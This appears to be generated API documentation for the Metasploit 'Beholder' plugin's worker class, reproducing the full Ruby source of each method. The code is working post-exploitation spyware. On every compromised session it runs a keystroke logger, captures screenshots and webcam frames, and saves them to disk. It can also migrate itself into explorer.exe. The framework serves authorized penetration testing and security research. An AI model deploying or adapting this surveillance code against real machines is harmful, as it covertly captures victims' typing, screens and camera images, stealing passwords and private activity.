Class: Msf::Plugin::Beholder::BeholderWorker
- Inherits:
-
Object
- Object
- Msf::Plugin::Beholder::BeholderWorker
- Defined in:
- plugins/beholder.rb
Overview
Worker Thread
Instance Attribute Summary collapse
-
#config ⇒ Object
Returns the value of attribute config.
-
#driver ⇒ Object
Returns the value of attribute driver.
-
#framework ⇒ Object
Returns the value of attribute framework.
-
#state ⇒ Object
Returns the value of attribute state.
-
#thread ⇒ Object
Returns the value of attribute thread.
Instance Method Summary collapse
- #cache_sysinfo(sid) ⇒ Object
- #capture_filename(sid) ⇒ Object
-
#collect_keystrokes(sid) ⇒ Object
TODO: Stop the keystroke scanner when the plugin exits.
-
#collect_screenshot(sid) ⇒ Object
TODO: Specify image quality.
-
#collect_webcam(sid) ⇒ Object
TODO: Specify webcam index and frame quality.
-
#compatible?(sid) ⇒ Boolean
Only support sessions that have core.migrate().
-
#initialize(framework, config, driver) ⇒ BeholderWorker
constructor
A new instance of BeholderWorker.
- #process(sid) ⇒ Object
- #session_log(sid, msg) ⇒ Object
-
#stale_session?(sid) ⇒ Boolean
Skip sessions with ancient last checkin times.
- #start ⇒ Object
- #stop ⇒ Object
- #store_keystrokes(sid, data) ⇒ Object
- #store_screenshot(sid, data) ⇒ Object
- #store_session_info(sid) ⇒ Object
- #store_webcam(sid, data) ⇒ Object
- #verify_migration(sid) ⇒ Object
Constructor Details
#initialize(framework, config, driver) ⇒ BeholderWorker
Returns a new instance of BeholderWorker.
18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
# File 'plugins/beholder.rb', line 18 def initialize(framework, config, driver) self.state = { } self.framework = framework self.config = config self.driver = driver self.thread = framework.threads.spawn('BeholderWorker', false) { begin self.start rescue ::Exception => e $stderr.puts "BeholderWorker: #{e.class} #{e.to_s} #{e.backtrace}" end # Mark this worker as dead self.thread = nil } end |
Instance Attribute Details
#config ⇒ Object
Returns the value of attribute config.
15 16 17 |
# File 'plugins/beholder.rb', line 15 def config @config end |
#driver ⇒ Object
Returns the value of attribute driver.
15 16 17 |
# File 'plugins/beholder.rb', line 15 def driver @driver end |
#framework ⇒ Object
Returns the value of attribute framework.
15 16 17 |
# File 'plugins/beholder.rb', line 15 def framework @framework end |
#state ⇒ Object
Returns the value of attribute state.
16 17 18 |
# File 'plugins/beholder.rb', line 16 def state @state end |
#thread ⇒ Object
Returns the value of attribute thread.
15 16 17 |
# File 'plugins/beholder.rb', line 15 def thread @thread end |
Instance Method Details
#cache_sysinfo(sid) ⇒ Object
156 157 158 159 160 |
# File 'plugins/beholder.rb', line 156 def cache_sysinfo(sid) return if self.state[sid][:sysinfo] self.state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo self.state[sid][:name] = "#{sid}_" + (self.state[sid][:sysinfo]['Computer'] || "Unknown").gsub(/[^A-Za-z0-9\.\_\-]/, '') end |
#capture_filename(sid) ⇒ Object
96 97 98 |
# File 'plugins/beholder.rb', line 96 def capture_filename(sid) self.state[sid][:name] + "_" + Time.now.strftime("%Y%m%d-%H%M%S") end |
#collect_keystrokes(sid) ⇒ Object
TODO: Stop the keystroke scanner when the plugin exits
120 121 122 123 124 125 126 127 128 129 130 131 132 |
# File 'plugins/beholder.rb', line 120 def collect_keystrokes(sid) return unless self.config[:keystrokes] sess = framework.sessions[sid] unless self.state[sid][:keyscan] # Consume any error (happens if the keystroke thread is already active) sess.ui.keyscan_start rescue nil self.state[sid][:keyscan] = true return end collected_keys = sess.ui.keyscan_dump store_keystrokes(sid, collected_keys) end |
#collect_screenshot(sid) ⇒ Object
TODO: Specify image quality
136 137 138 139 140 141 |
# File 'plugins/beholder.rb', line 136 def collect_screenshot(sid) return unless self.config[:screenshot] sess = framework.sessions[sid] collected_image = sess.ui.screenshot(50) store_screenshot(sid, collected_image) end |
#collect_webcam(sid) ⇒ Object
TODO: Specify webcam index and frame quality
144 145 146 147 148 149 150 151 152 153 154 |
# File 'plugins/beholder.rb', line 144 def collect_webcam(sid) return unless self.config[:webcam] sess = framework.sessions[sid] begin sess.webcam.webcam_start(1) collected_image = sess.webcam.webcam_get_frame(100) store_webcam(sid, collected_image) ensure sess.webcam.webcam_stop end end |
#compatible?(sid) ⇒ Boolean
Only support sessions that have core.migrate()
197 198 199 200 |
# File 'plugins/beholder.rb', line 197 def compatible?(sid) framework.sessions[sid].respond_to?(:core) && framework.sessions[sid].core.respond_to?(:migrate) end |
#process(sid) ⇒ Object
70 71 72 73 74 75 76 77 78 79 80 |
# File 'plugins/beholder.rb', line 70 def process(sid) self.state[sid] ||= {} store_session_info(sid) return unless compatible?(sid) return if stale_session?(sid) verify_migration(sid) cache_sysinfo(sid) collect_keystrokes(sid) collect_screenshot(sid) collect_webcam(sid) end |
#session_log(sid, msg) ⇒ Object
82 83 84 85 86 |
# File 'plugins/beholder.rb', line 82 def session_log(sid, msg) ::File.open(::File.join(self.config[:base], "session.log"), "a") do |fd| fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{self.state[sid][:info]}] #{msg}" end end |
#stale_session?(sid) ⇒ Boolean
Skip sessions with ancient last checkin times
203 204 205 206 207 208 209 210 211 212 |
# File 'plugins/beholder.rb', line 203 def stale_session?(sid) return unless framework.sessions[sid].respond_to?(:last_checkin) session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i # TODO: Make the max age configurable, for now 5 minutes seems reasonable if session_age > 300 session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago") return true end return end |
#start ⇒ Object
41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
# File 'plugins/beholder.rb', line 41 def start self.driver.print_status("Beholder is logging to #{self.config[:base]}") = [ :screenshot, :webcam, :keystrokes, :automigrate ] .each do |o| self.config[o] = !!( self.config[o].to_s =~ /^[yt1]/i) end = [ :idle, :freq ] .each do |o| self.config[o] = self.config[o].to_i end ::FileUtils.mkdir_p(self.config[:base]) loop do framework.sessions.keys.each do |sid| begin if self.state[sid].nil? || (self.state[sid][:last_update] + self.config[:freq] < Time.now.to_f) process(sid) end rescue ::Exception => e session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}") end end sleep(1) end end |
#stop ⇒ Object
35 36 37 38 39 |
# File 'plugins/beholder.rb', line 35 def stop return unless self.thread self.thread.kill rescue nil self.thread = nil end |
#store_keystrokes(sid, data) ⇒ Object
100 101 102 103 104 105 |
# File 'plugins/beholder.rb', line 100 def store_keystrokes(sid, data) return unless data.length > 0 filename = capture_filename(sid) + "_keystrokes.txt" ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) } session_log(sid, "captured keystrokes to #{filename}") end |
#store_screenshot(sid, data) ⇒ Object
107 108 109 110 111 |
# File 'plugins/beholder.rb', line 107 def store_screenshot(sid, data) filename = capture_filename(sid) + "_screenshot.jpg" ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) } session_log(sid, "captured screenshot to #{filename}") end |
#store_session_info(sid) ⇒ Object
88 89 90 91 92 93 94 |
# File 'plugins/beholder.rb', line 88 def store_session_info(sid) self.state[sid][:last_update] = Time.now.to_f return if self.state[sid][:initialized] self.state[sid][:info] = framework.sessions[sid].info session_log(sid, "registered") self.state[sid][:initialized] = true end |
#store_webcam(sid, data) ⇒ Object
113 114 115 116 117 |
# File 'plugins/beholder.rb', line 113 def store_webcam(sid, data) filename = capture_filename(sid) + "_webcam.jpg" ::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) } session_log(sid, "captured webcam snap to #{filename}") end |
#verify_migration(sid) ⇒ Object
162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 |
# File 'plugins/beholder.rb', line 162 def verify_migration(sid) return unless self.config[:automigrate] return if self.state[sid][:migrated] sess = framework.sessions[sid] # Are we in an explorer process already? pid = sess.sys.process.getpid session_log(sid, "has process ID #{pid}") ps = sess.sys.process.get_processes this_ps = ps.select{|x| x['pid'] == pid }.first # Already in explorer? Mark the session and move on if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe' session_log(sid, "is already in explorer.exe") self.state[sid][:migrated] = true return end # Attempt to migrate, but flag that we tried either way self.state[sid][:migrated] = true # Grab the first explorer.exe process we find that we have rights to target_ps = ps.select{|x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first unless target_ps # No explorer.exe process? session_log(sid, "no explorer.exe process found for automigrate") return end # Attempt to migrate to the target pid session_log(sid, "attempting to migrate to #{target_ps.inspect}") sess.core.migrate(target_ps['pid']) end |